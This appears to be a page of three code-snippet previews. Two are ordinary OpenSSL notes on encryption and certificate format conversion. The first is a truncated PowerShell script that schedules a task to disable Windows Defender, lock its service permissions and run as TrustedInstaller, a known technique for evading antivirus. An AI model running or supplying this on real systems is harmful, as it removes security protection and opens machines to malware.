This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' | |
| $a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline | |
| Register-ScheduledTask -TaskName 'TestTask' -Action $a | |
| $svc = New-Object -ComObject 'Schedule.Service' | |
| $svc.Connect() | |
| $user = 'NT SERVICE\TrustedInstaller' | |
| $folder = $svc.GetFolder('\') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| For symmetic encryption, you can use the following: | |
| To encrypt: | |
| openssl aes-256-cbc -salt -a -e -in plaintext.txt -out encrypted.txt | |
| To decrypt: | |
| openssl aes-256-cbc -salt -a -d -in encrypted.txt -out plaintext.txt | |
| For Asymmetric encryption you must first generate your private key and extract the public key. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| NOTE: HTTP SSL keys are all in PEM format (base64 encoded) | |
| #From PEM format to DER | |
| openssl x509 -in $1.crt -out $1.der -outform DER | |
| #From DER format to PEM | |
| openssl x509 -in $1.der -inform DER -out $1.pem -outform PEM | |
| #Transforming RSA key to DER format | |
| openssl rsa -in oberon.key -inform PEM -out oberon_key.der -outform DER |